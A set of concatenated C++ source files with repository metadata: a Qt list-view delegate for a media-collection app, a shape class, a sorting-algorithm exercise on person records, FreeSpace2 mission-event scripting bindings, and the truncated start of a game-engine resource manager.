tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Game::DEVELOPPERS)
tableName = UtilityTableName::DEVELOPPERS;
else if (index.column() == Game::PUBLISHERS)
tableName = UtilityTableName::PUBLISHERS;
else if (index.column() == Game::PLATFORMS)
tableName = UtilityTableName::PLATFORM;
else if (index.column() == Game::SERVICES)
tableName = UtilityTableName::SERVICES;
editor->setText(retrieveDataForUtilityLineEdit(itemID, tableName));
return;
}
}
}
else if (model->listType() == ListType::MOVIESLIST)
{
if (index.column() == Movie::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
starEditor->setStars(index.data().toInt());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
spinEditor->setValue(index.data().toInt());
return;
}
}
else if (index.column() >= Movie::SERIES &&
index.column() <= Movie::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Movie::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Movie::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Movie::DIRECTORS)
tableName = UtilityTableName::DIRECTOR;
else if (index.column() == Movie::ACTORS)
tableName = UtilityTableName::ACTORS;
else if (index.column() == Movie::PRODUCTIONS)
tableName = UtilityTableName::PRODUCTION;
else if (index.column() == Movie::MUSIC)
tableName = UtilityTableName::MUSIC;
else if (index.column() == Movie::SERVICES)
tableName = UtilityTableName::SERVICES;
editor->setText(retrieveDataForUtilityLineEdit(itemID, tableName));
return;
}
}
}
else if (model->listType() == ListType::COMMONLIST)
{
if (index.column() == Common::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
starEditor->setStars(index.data().toInt());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
spinEditor->setValue(index.data().toInt());
return;
}
}
else if (index.column() >= Common::SERIES &&
index.column() <= Common::AUTHORS &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Common::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Common::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Common::AUTHORS)
tableName = UtilityTableName::AUTHORS;
editor->setText(retrieveDataForUtilityLineEdit(itemID, tableName));
return;
}
}
}
else if (model->listType() == ListType::BOOKSLIST)
{
if (index.column() == Books::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
starEditor->setStars(index.data().toInt());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
spinEditor->setValue(index.data().toInt());
return;
}
}
else if (index.column() >= Books::SERIES &&
index.column() <= Books::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Books::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Books::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Books::AUTHORS)
tableName = UtilityTableName::AUTHORS;
else if (index.column() == Books::PUBLISHERS)
tableName = UtilityTableName::PUBLISHERS;
else if (index.column() == Books::SERVICES)
tableName = UtilityTableName::SERVICES;
editor->setText(retrieveDataForUtilityLineEdit(itemID, tableName));
return;
}
}
}
else if (model->listType() == ListType::SERIESLIST)
{
if (index.column() == Series::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
starEditor->setStars(index.data().toInt());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
spinEditor->setValue(index.data().toInt());
return;
}
}
else if (index.column() >= Series::CATEGORIES &&
index.column() <= Series::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Series::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Series::DIRECTORS)
tableName = UtilityTableName::DIRECTOR;
else if (index.column() == Series::ACTORS)
tableName = UtilityTableName::ACTORS;
else if (index.column() == Series::PRODUCTION)
tableName = UtilityTableName::PRODUCTION;
else if (index.column() == Series::MUSIC)
tableName = UtilityTableName::MUSIC;
else if (index.column() == Series::SERVICES)
tableName = UtilityTableName::SERVICES;
editor->setText(retrieveDataForUtilityLineEdit(itemID, tableName));
return;
}
}
}
return QStyledItemDelegate::setEditorData(e, index);
}
void ListViewDelegate::setModelData(QWidget* e, QAbstractItemModel* m, const QModelIndex& index) const
{
// When the edit is finished, apply the editor data to the field.
TableModel* model = reinterpret_cast<TableModel*>(m);
if (model->listType() == ListType::GAMELIST)
{
if (index.column() == Game::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
model->setData(index, starEditor->stars());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
model->setData(index, spinEditor->value());
return;
}
}
else if (index.column() >= Game::SERIES &&
index.column() <= Game::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
// Retrieve data from the UtilityLineEdit and appending it into the utilityInterface.
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Game::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Game::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Game::DEVELOPPERS)
tableName = UtilityTableName::DEVELOPPERS;
else if (index.column() == Game::PUBLISHERS)
tableName = UtilityTableName::PUBLISHERS;
else if (index.column() == Game::PLATFORMS)
tableName = UtilityTableName::PLATFORM;
else if (index.column() == Game::SERVICES)
tableName = UtilityTableName::SERVICES;
applyUtilityLineEditData(itemID, tableName, editor->text());
return;
}
}
}
else if (model->listType() == ListType::MOVIESLIST)
{
if (index.column() == Movie::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
model->setData(index, starEditor->stars());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
model->setData(index, spinEditor->value());
return;
}
}
else if (index.column() >= Movie::SERIES &&
index.column() <= Movie::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Movie::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Movie::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Movie::DIRECTORS)
tableName = UtilityTableName::DIRECTOR;
else if (index.column() == Movie::ACTORS)
tableName = UtilityTableName::ACTORS;
else if (index.column() == Movie::PRODUCTIONS)
tableName = UtilityTableName::PRODUCTION;
else if (index.column() == Movie::MUSIC)
tableName = UtilityTableName::MUSIC;
else if (index.column() == Movie::SERVICES)
tableName = UtilityTableName::SERVICES;
applyUtilityLineEditData(itemID, tableName, editor->text());
return;
}
}
}
else if (model->listType() == ListType::COMMONLIST)
{
if (index.column() == Common::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
model->setData(index, starEditor->stars());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
model->setData(index, spinEditor->value());
return;
}
}
else if (index.column() >= Common::SERIES &&
index.column() <= Common::AUTHORS &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Common::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Common::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Common::AUTHORS)
tableName = UtilityTableName::AUTHORS;
applyUtilityLineEditData(itemID, tableName, editor->text());
return;
}
}
}
else if (model->listType() == ListType::BOOKSLIST)
{
if (index.column() == Books::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
model->setData(index, starEditor->stars());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
model->setData(index, spinEditor->value());
return;
}
}
else if (index.column() >= Books::SERIES &&
index.column() <= Books::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Books::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Books::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Books::AUTHORS)
tableName = UtilityTableName::AUTHORS;
else if (index.column() == Books::PUBLISHERS)
tableName = UtilityTableName::PUBLISHERS;
else if (index.column() == Books::SERVICES)
tableName = UtilityTableName::SERVICES;
applyUtilityLineEditData(itemID, tableName, editor->text());
return;
}
}
}
else if (model->listType() == ListType::SERIESLIST)
{
if (index.column() == Series::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
model->setData(index, starEditor->stars());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
model->setData(index, spinEditor->value());
return;
}
}
else if (index.column() >= Series::CATEGORIES &&
index.column() <= Series::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Series::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Series::DIRECTORS)
tableName = UtilityTableName::DIRECTOR;
else if (index.column() == Series::ACTORS)
tableName = UtilityTableName::ACTORS;
else if (index.column() == Series::PRODUCTION)
tableName = UtilityTableName::PRODUCTION;
else if (index.column() == Series::MUSIC)
tableName = UtilityTableName::MUSIC;
else if (index.column() == Series::SERVICES)
tableName = UtilityTableName::SERVICES;
applyUtilityLineEditData(itemID, tableName, editor->text());
return;
}
}
}
return QStyledItemDelegate::setModelData(e, m, index);
}
void ListViewDelegate::commitAndCloseEditor(QWidget* editor)
{
// Commit the data of the editor and close it.
if (editor)
{
emit commitData(editor);
emit closeEditor(editor);
}
}
void ListViewDelegate::paintSensitiveStars(QPainter* painter, const QStyleOptionViewItem& options, const QModelIndex& index) const
{
// Paint the stars of the three categories of sensitive content items.
painter->setRenderHint(QPainter::Antialiasing, true);
painter->save();
if (options.rect.width() >= 15 * StarEditor::paintFactor())
{
QPolygonF starPolygons = StarEditor::polygonData();
// Sensitive Content
painter->setPen(Qt::NoPen);
painter->setBrush(QBrush(QColor(255, 0, 0)));
QRect rect = options.rect;
painter->translate(rect.x() + StarEditor::paintFactor() * 0.55, rect.y() + (rect.height() / 2.));
painter->scale(StarEditor::paintFactor(), StarEditor::paintFactor());
for (int i = 0; i < 3; i++)
{
QColor color;
if (i == 0)
color = QColor(255, 0, 0);
else if (i == 1)
color = QColor(0, 255, 0);
else
color = QColor(0, 0, 255);
painter->setBrush(QBrush(color));
int numStars;
if (i == 0)
numStars = qvariant_cast<SensitiveContent>(index.data()).explicitContent;
else if (i == 1)
numStars = qvariant_cast<SensitiveContent>(index.data()).violenceContent;
else if (i == 2)
numStars = qvariant_cast<SensitiveContent>(index.data()).badLanguageContent;
for (int j = 0; j < 5; j++)
{
if (j < numStars)
painter->drawPolygon(starPolygons, Qt::WindingFill);
painter->translate(1, 0);
}
}
}
else
{
QString sensText = QString("%1 %2 %3")
.arg(qvariant_cast<SensitiveContent>(index.data()).explicitContent)
.arg(qvariant_cast<SensitiveContent>(index.data()).violenceContent)
.arg(qvariant_cast<SensitiveContent>(index.data()).badLanguageContent);
QFont font = painter->font();
font.setPixelSize(20);
painter->setFont(font);
painter->setPen(Qt::SolidLine);
painter->drawText(options.rect, sensText);
}
painter->restore();
}
void ListViewDelegate::paintRateStars(QPainter* painter, const QStyleOptionViewItem& options, const QModelIndex& index) const
{
if (options.rect.width() >= 5 * StarEditor::paintFactor())
StarEditor::paintStars(index.data().toInt(), painter, options.rect, options.palette);
else
{
QString starNB = QString::number(index.data().toInt());
QFont font = painter->font();
font.setPixelSize(20);
painter->setFont(font);
painter->setPen(Qt::SolidLine);
painter->drawText(options.rect, starNB);
}
}
void ListViewDelegate::applyUtilityLineEditData(long long int itemID, UtilityTableName tableName, const QString& utilityText) const
{
if (itemID <= 0)
return;
QStringList utilityList = utilityText.split(',', Qt::SkipEmptyParts);
QList<long long int> utilityIDs;
foreach(const QString& item, utilityList)
{
if (!item.trimmed().isEmpty())
utilityIDs.append(m_utilityTable.addItem(tableName, item.trimmed()));
}
m_utilityInterface->updateItemUtility(itemID, tableName, QVariant::fromValue(utilityIDs));
}
QString ListViewDelegate::retrieveDataForUtilityLineEdit(long long int itemID, UtilityTableName tableName) const
{
if (itemID <= 0)
return "";
QString statement = QString(
"SELECT\n"
" UtilityID\n"
"FROM\n"
" \"%1\""
"WHERE\n"
" ItemID = %2;")
.arg(m_utilityInterface->tableName(tableName)).arg(itemID);
#ifndef NDEBUG
std::cout << statement.toLocal8Bit().constData() << '\n' << std::endl;
#endif
QSqlQuery query(m_db);
QList<long long int> utilityIDs;
if (query.exec(statement))
{
while (query.next())
utilityIDs.append(query.value(0).toLongLong());
}
else
{
#ifndef NDEBUG
std::cerr << QString("Failed to retrieve utility id from utility interface table %1 of itemID %2.\n\t%3")
.arg(m_utilityInterface->tableName(tableName)).arg(itemID)
.arg(query.lastError().text())
.toLocal8Bit().constData() << '\n' << std::endl;
#endif
return "";
}
query.clear();
if (utilityIDs.isEmpty())
return "";
statement = QString(
"SELECT\n"
" Name\n"
"FROM\n"
" \"%1\"\n"
"WHERE\n"
" \"%1ID\" = %2;")
.arg(SqlUtilityTable::tableName(tableName));
#ifndef NDEBUG
std::cout << statement.toLocal8Bit().constData() << '\n' << std::endl;
#endif
QStringList strUtilityList;
foreach(long long int id, utilityIDs)
{
if (query.exec(statement.arg(id)))
{
if (query.next())
strUtilityList.append(query.value(0).toString());
}
else
{
#ifndef NDEBUG
std::cerr << QString("Failed to retrieve utility name list from table %1\n\t%2")
.arg(SqlUtilityTable::tableName(tableName), query.lastError().text())
.toLocal8Bit().constData() << '\n' << std::endl;
#endif
return "";
}
}
if (strUtilityList.isEmpty())
return "";
QString strUtilityName;
for (int i = 0; i < strUtilityList.size(); i++)
{
if (i > 0)
strUtilityName += ", ";
strUtilityName += strUtilityList.at(i);
}
return strUtilityName;
} | 27.644911 | 159 | 0.6632 | BlueDragon28 |
8672fb62615b4a3e3f2502d37e8c9d25348d19ca | 561 | cpp | C++ | Shape Class/rectangle.cpp | tj-dunham/CS1C_Project | 2c8f329a67a142c2ee2f7426047f0c3f51656169 | [
"MIT"
] | 1 | 2021-09-22T20:38:14.000Z | 2021-09-22T20:38:14.000Z | Shape Class/rectangle.cpp | korieliaz/2D-Graphics-Modeler | 2c8f329a67a142c2ee2f7426047f0c3f51656169 | [
"MIT"
] | null | null | null | Shape Class/rectangle.cpp | korieliaz/2D-Graphics-Modeler | 2c8f329a67a142c2ee2f7426047f0c3f51656169 | [
"MIT"
] | null | null | null | #include "rectangle.h"
void Rectangle::draw()
{
painter.setPen(pen);
painter.setBrush(brush);
painter.drawRect(position.x(), position.y(), shapeDimensions[int(Specifications::W)], shapeDimensions[int(Specifications::H)]);
painter.drawText(position.x(), position.y(), 20, 20, Qt::AlignLeft, QString::number(shapeId));
}
void Rectangle::move(const QPoint &shift)
{
position += shift;
}
void Rectangle::setPosition()
{
position = {shapeDimensions[int(Specifications::X1)], shapeDimensions[int(Specifications::Y1)]};
}
| 28.05 | 132 | 0.682709 | tj-dunham |
8672fbac0fe52cf8e77e1f91b680578eed55d849 | 7,544 | cpp | C++ | lista2.cpp | EDAII/Lista2_LucasM_TiagoM | 34e05af5e413822b618e3106b4b17569bd3552cb | [
"MIT"
] | null | null | null | lista2.cpp | EDAII/Lista2_LucasM_TiagoM | 34e05af5e413822b618e3106b4b17569bd3552cb | [
"MIT"
] | null | null | null | lista2.cpp | EDAII/Lista2_LucasM_TiagoM | 34e05af5e413822b618e3106b4b17569bd3552cb | [
"MIT"
] | null | null | null | #include<bits/stdc++.h>
using namespace std;
class Pessoa{
public:
int Idade;
string Nome;
string CPF;
double Peso;
double Altura;
string Estado_Civil;
string Endereco;
string Nacionalidade;
string Escolaridade;
double Renda;
Pessoa(int Idade){
this-> Idade = Idade;
}
Pessoa(){
}
Pessoa(int Idade, string Nome, string CPF, double Peso, double Altura,
string Estado_Civil, string Endereco, string Nacionalidade,
string Escolaridade, double Renda){
this->Idade = Idade;
this->Nome = Nome;
this->CPF = CPF;
this->Peso = Peso;
this->Altura = Altura;
this->Estado_Civil = Estado_Civil;
this->Endereco = Endereco;
this->Nacionalidade = Nacionalidade;
this->Escolaridade = Escolaridade;
this->Renda = Renda;
}
friend bool operator < (Pessoa const& a, Pessoa const& b){
return a.Idade < b.Idade;
}
friend bool operator <= (Pessoa const& a, Pessoa const& b){
return a.Idade <= b.Idade;
}
friend bool operator > (Pessoa const& a, Pessoa const& b){
return a.Idade > b.Idade;
}
friend bool operator >= (Pessoa const& a, Pessoa const& b){
return a.Idade >= b.Idade;
}
Pessoa& operator=(Pessoa& a){
this->Idade = a.Idade;
this->Nome = a.Nome;
this->CPF = a.CPF;
this->Peso = a.Peso;
this->Altura = a.Altura;
this->Estado_Civil = a.Estado_Civil;
this->Endereco = a.Endereco;
this->Nacionalidade = a.Nacionalidade;
this->Escolaridade = a.Escolaridade;
this->Renda = a.Renda;
return *this;
}
~Pessoa(){
}
};
vector<Pessoa> bubble_sort_estavel(vector<Pessoa> a){
int i, j;
unsigned long long int cont_swap=0;
Pessoa temp;
clock_t Ticks[2];
Ticks[0] = clock();
for(i=0; i < a.size()-1; i++){
for(j=0; j < a.size()-i-1; j++){
if(a.at(j) > a.at(j+1)){
cont_swap++;
temp = a.at(j);
a.at(j) = a.at(j+1);
a.at(j+1) = temp;
}
}
}
Ticks[1] = clock();
auto tempo = ((Ticks[1] - Ticks[0]) * 1000 / CLOCKS_PER_SEC);
cout << "Quantidade de swaps Bubble Sort estavel: " << cont_swap << endl;
cout << "Tempo Bubble Sort estável: " << tempo << "ms" << endl;
return a;
}
vector<Pessoa> bubble_sort_instavel(vector<Pessoa> a){
int i, j;
unsigned long long int cont_swap=0;
Pessoa temp;
clock_t Ticks[2];
Ticks[0] = clock();
for(i=0; i < a.size()-1; i++){
for(j=0; j < a.size()-i-1; j++){
if(a.at(j) >= a.at(j+1)){
cont_swap++;
temp = a.at(j);
a.at(j) = a.at(j+1);
a.at(j+1) = temp;
}
}
}
Ticks[1] = clock();
auto tempo = ((Ticks[1] - Ticks[0]) * 1000 / CLOCKS_PER_SEC);
cout << "Quantidade de swaps Bubble Sort instável: " << cont_swap << endl;
cout << "Tempo Bubble Sort instável: " << tempo << "ms" << endl;
return a;
}
vector<Pessoa> insert_sort_estavel(vector<Pessoa> a){
int i, j;
Pessoa chave;
unsigned long long int swap = 0;
clock_t Ticks[2];
int tempo;
Ticks[0] = clock();
for(i=1; i < a.size(); i++){
chave = a[i];
j = i - 1;
while( j >= 0 && a[j] > chave ){
a[j+1] = a[j];
swap++;
j--;
}
a[j+1] = chave;
}
Ticks[1] = clock();
tempo = ((Ticks[1] - Ticks[0]) * 1000 / CLOCKS_PER_SEC);
cout << "Quantidade de swaps Insertion Sort estável: " << swap << endl;
cout << "Tempo Insertion Sort estável: " << tempo << "ms" << endl;
return a;
}
vector<Pessoa> insert_sort_instavel(vector<Pessoa> a){
int i, j;
Pessoa chave;
unsigned long long int swap = 0;
clock_t Ticks[2];
int tempo;
Ticks[0] = clock();
for(i=1; i < a.size(); i++){
chave = a[i];
j = i - 1;
while( j >= 0 && a[j] >= chave ){
a[j+1] = a[j];
swap++;
j--;
}
a[j+1] = chave;
}
Ticks[1] = clock();
tempo = ((Ticks[1] - Ticks[0]) * 1000 / CLOCKS_PER_SEC);
cout << "Quantidade de swaps Insertion Sort instável: " << swap << endl;
cout << "Tempo Insertion Sort instável: " << tempo << "ms" << endl;
return a;
}
vector<Pessoa> selection_sort_estavel(vector<Pessoa> a){
int i, j, min_indx;
unsigned long long int swap = 0;
clock_t Ticks[2];
int tempo;
Pessoa temp;
Ticks[0] = clock();
for(i=0; i < a.size()-1; i++){
min_indx = i;
for(j=i+1; j < a.size(); j++){
if(a.at(j) < a.at(min_indx)){
min_indx=j;
swap++;
}
}
temp = a.at(min_indx);
a.at(min_indx) = a.at(i);
a.at(i) = temp;
}
Ticks[1] = clock();
tempo = ((Ticks[1] - Ticks[0]) * 1000 / CLOCKS_PER_SEC);
cout << "Quantidade de swaps Selection Sort estável: " << swap << endl;
cout << "Tempo Selection Sort estável: " << tempo << "ms" << endl;
return a;
}
vector<Pessoa> selection_sort_instavel(vector<Pessoa> a){
int i, j, min_indx;
unsigned long long int swap = 0;
clock_t Ticks[2];
int tempo;
Pessoa temp;
Ticks[0] = clock();
for(i=0; i < a.size()-1; i++){
min_indx = i;
for(j=i+1; j < a.size(); j++){
if(a.at(j) <= a.at(min_indx)){
min_indx=j;
swap++;
}
}
temp = a.at(min_indx);
a.at(min_indx) = a.at(i);
a.at(i) = temp;
}
Ticks[1] = clock();
tempo = ((Ticks[1] - Ticks[0]) * 1000 / CLOCKS_PER_SEC);
cout << "Quantidade de swaps Selection Sort instável: " << swap << endl;
cout << "Tempo Selection Sort estável: " << tempo << "ms" << endl;
return a;
}
vector<Pessoa> ler_arquivo(){
vector<Pessoa> aux;
Pessoa pessoa;
string linha;
ifstream arquivo("Pessoas.txt");
while(getline(arquivo, linha)){
pessoa.Idade = atoi(linha.c_str());
getline(arquivo, linha);
pessoa.Nome = linha;
getline(arquivo, linha);
pessoa.CPF = linha;
getline(arquivo, linha);
pessoa.Peso = stod(linha.c_str());
getline(arquivo, linha);
pessoa.Altura = stod(linha.c_str());
getline(arquivo, linha);
pessoa.Estado_Civil = linha;
getline(arquivo, linha);
pessoa.Endereco = linha;
getline(arquivo, linha);
pessoa.Nacionalidade = linha;
getline(arquivo, linha);
pessoa.Escolaridade = linha;
getline(arquivo, linha);
pessoa.Renda = stod(linha.c_str());
getline(arquivo, linha);
aux.push_back(pessoa);
}
return aux;
}
int main(){
vector<Pessoa> teste;
teste = ler_arquivo();
bubble_sort_estavel(teste);
bubble_sort_instavel(teste);
cout << endl;
insert_sort_estavel(teste);
insert_sort_instavel(teste);
cout << endl;
selection_sort_estavel(teste);
selection_sort_instavel(teste);
return 0;
} | 22.722892 | 83 | 0.503446 | EDAII |
86738ebc0b81dd3072f5753cd79f650e556d3b2a | 4,259 | cpp | C++ | code/scripting/api/objs/event.cpp | trgswe/fs2open.github.com | a159eba0cebca911ad14a118412fddfe5be8e9f8 | [
"Unlicense"
] | 307 | 2015-04-10T13:27:32.000Z | 2022-03-21T03:30:38.000Z | code/scripting/api/objs/event.cpp | trgswe/fs2open.github.com | a159eba0cebca911ad14a118412fddfe5be8e9f8 | [
"Unlicense"
] | 2,231 | 2015-04-27T10:47:35.000Z | 2022-03-31T19:22:37.000Z | code/scripting/api/objs/event.cpp | trgswe/fs2open.github.com | a159eba0cebca911ad14a118412fddfe5be8e9f8 | [
"Unlicense"
] | 282 | 2015-01-05T12:16:57.000Z | 2022-03-28T04:45:11.000Z |
#include "event.h"
#include "scripting/ade_args.h"
#include "scripting/ade.h"
#include "mission/missiongoals.h"
namespace scripting {
namespace api {
//**********HANDLE: event
ADE_OBJ(l_Event, int, "event", "Mission event handle");
ADE_VIRTVAR(Name, l_Event, "string", "Mission event name", "string", NULL)
{
int idx;
const char* s = nullptr;
if (!ade_get_args(L, "o|s", l_Event.Get(&idx), &s))
return ade_set_error(L, "s", "");
if (idx < 0 || idx >= Num_mission_events)
return ade_set_error(L, "s", "");
mission_event *mep = &Mission_events[idx];
if (ADE_SETTING_VAR) {
auto len = sizeof(mep->name);
strncpy(mep->name, s, len);
mep->name[len - 1] = 0;
}
return ade_set_args(L, "s", mep->name);
}
ADE_VIRTVAR(DirectiveText, l_Event, "string", "Directive text", "string", NULL)
{
int idx;
const char* s = nullptr;
if (!ade_get_args(L, "o|s", l_Event.Get(&idx), &s))
return ade_set_error(L, "s", "");
if (idx < 0 || idx >= Num_mission_events)
return ade_set_error(L, "s", "");
mission_event *mep = &Mission_events[idx];
if (ADE_SETTING_VAR && s != NULL) {
if (mep->objective_text != NULL)
vm_free(mep->objective_text);
mep->objective_text = vm_strdup(s);
}
if (mep->objective_text != NULL)
return ade_set_args(L, "s", mep->objective_text);
else
return ade_set_args(L, "s", "");
}
ADE_VIRTVAR(DirectiveKeypressText, l_Event, "string", "Raw directive keypress text, as seen in FRED.", "string", NULL)
{
int idx;
const char* s = nullptr;
if (!ade_get_args(L, "o|s", l_Event.Get(&idx), &s))
return ade_set_error(L, "s", "");
if (idx < 0 || idx >= Num_mission_events)
return ade_set_error(L, "s", "");
mission_event *mep = &Mission_events[idx];
if (ADE_SETTING_VAR && s != NULL) {
if (mep->objective_text != NULL)
vm_free(mep->objective_key_text);
mep->objective_key_text = vm_strdup(s);
}
if (mep->objective_key_text != NULL)
return ade_set_args(L, "s", mep->objective_key_text);
else
return ade_set_args(L, "s", "");
}
ADE_VIRTVAR(Interval, l_Event, "number", "Time for event to repeat (in seconds)", "number", "Repeat time, or 0 if invalid handle")
{
int idx;
int newinterval = 0;
if (!ade_get_args(L, "o|i", l_Event.Get(&idx), &newinterval))
return ade_set_error(L, "i", 0);
if (idx < 0 || idx >= Num_mission_events)
return ade_set_error(L, "i", 0);
mission_event *mep = &Mission_events[idx];
if (ADE_SETTING_VAR) {
mep->interval = newinterval;
}
return ade_set_args(L, "i", mep->interval);
}
ADE_VIRTVAR(ObjectCount, l_Event, "number", "Number of objects left for event", "number", "Repeat count, or 0 if invalid handle")
{
int idx;
int newobject = 0;
if (!ade_get_args(L, "o|i", l_Event.Get(&idx), &newobject))
return ade_set_error(L, "i", 0);
if (idx < 0 || idx >= Num_mission_events)
return ade_set_error(L, "i", 0);
mission_event *mep = &Mission_events[idx];
if (ADE_SETTING_VAR) {
mep->count = newobject;
}
return ade_set_args(L, "i", mep->count);
}
ADE_VIRTVAR(RepeatCount, l_Event, "number", "Event repeat count", "number", "Repeat count, or 0 if invalid handle")
{
int idx;
int newrepeat = 0;
if (!ade_get_args(L, "o|i", l_Event.Get(&idx), &newrepeat))
return ade_set_error(L, "i", 0);
if (idx < 0 || idx >= Num_mission_events)
return ade_set_error(L, "i", 0);
mission_event *mep = &Mission_events[idx];
if (ADE_SETTING_VAR) {
mep->repeat_count = newrepeat;
}
return ade_set_args(L, "i", mep->repeat_count);
}
ADE_VIRTVAR(Score, l_Event, "number", "Event score", "number", "Event score, or 0 if invalid handle")
{
int idx;
int newscore = 0;
if (!ade_get_args(L, "o|i", l_Event.Get(&idx), &newscore))
return ade_set_error(L, "i", 0);
if (idx < 0 || idx >= Num_mission_events)
return ade_set_error(L, "i", 0);
mission_event *mep = &Mission_events[idx];
if (ADE_SETTING_VAR) {
mep->score = newscore;
}
return ade_set_args(L, "i", mep->score);
}
ADE_FUNC(isValid, l_Event, NULL, "Detects whether handle is valid", "boolean", "true if valid, false if handle is invalid, nil if a syntax/type error occurs")
{
int idx;
if (!ade_get_args(L, "o", l_Event.Get(&idx)))
return ADE_RETURN_NIL;
if (idx < 0 || idx >= Num_mission_events)
return ADE_RETURN_FALSE;
return ADE_RETURN_TRUE;
}
}
}
| 24.337143 | 158 | 0.663066 | trgswe |
8674954e5e0660fe3628659d0f7adf8ebac6c008 | 7,110 | cpp | C++ | ROF_Engine/ModuleResourceManager.cpp | RogerOlasz/ROF_Engine | 5c379ab51da85148a135863c8e01c4aa9f06701b | [
"MIT"
] | null | null | null | ROF_Engine/ModuleResourceManager.cpp | RogerOlasz/ROF_Engine | 5c379ab51da85148a135863c8e01c4aa9f06701b | [
"MIT"
] | null | null | null | ROF_Engine/ModuleResourceManager.cpp | RogerOlasz/ROF_Engine | 5c379ab51da85148a135863c8e01c4aa9f06701b | [
"MIT"
] | null | null | null | #include "ModuleResourceManager.h"
#include "Application.h"
#include "ModuleFileSystem.h"
#include "ModuleSceneImporter.h"
#include "Globals.h"
#include "XMLUtilities.h"
#include "ResourceMesh.h"
#include "ResourceTexture.h"
#include "ResourceMaterial.h"
#include "MeshLoader.h"
#include "TextureLoader.h"
#include "MaterialLoader.h"
ModuleResourceManager::ModuleResourceManager(Application* app, bool start_enabled) : Module(app, start_enabled)
{
name.assign("ResourceManager");
}
ModuleResourceManager::~ModuleResourceManager()
{
}
bool ModuleResourceManager::Init()
{
LoadResourcesData();
return true;
}
bool ModuleResourceManager::CleanUp()
{
SaveResourcesData();
std::map<Uint32, Resource*>::iterator it = resources.begin();
while(it != resources.end())
{
if (it->second->IsOnMemory())
{
it->second->UnloadFromMemory();
}
RELEASE(it->second);
it = resources.erase(it);
}
return true;
}
Resource* ModuleResourceManager::LoadResource(Uint32 ID, Resource::ResType type)
{
Resource* ret = nullptr;
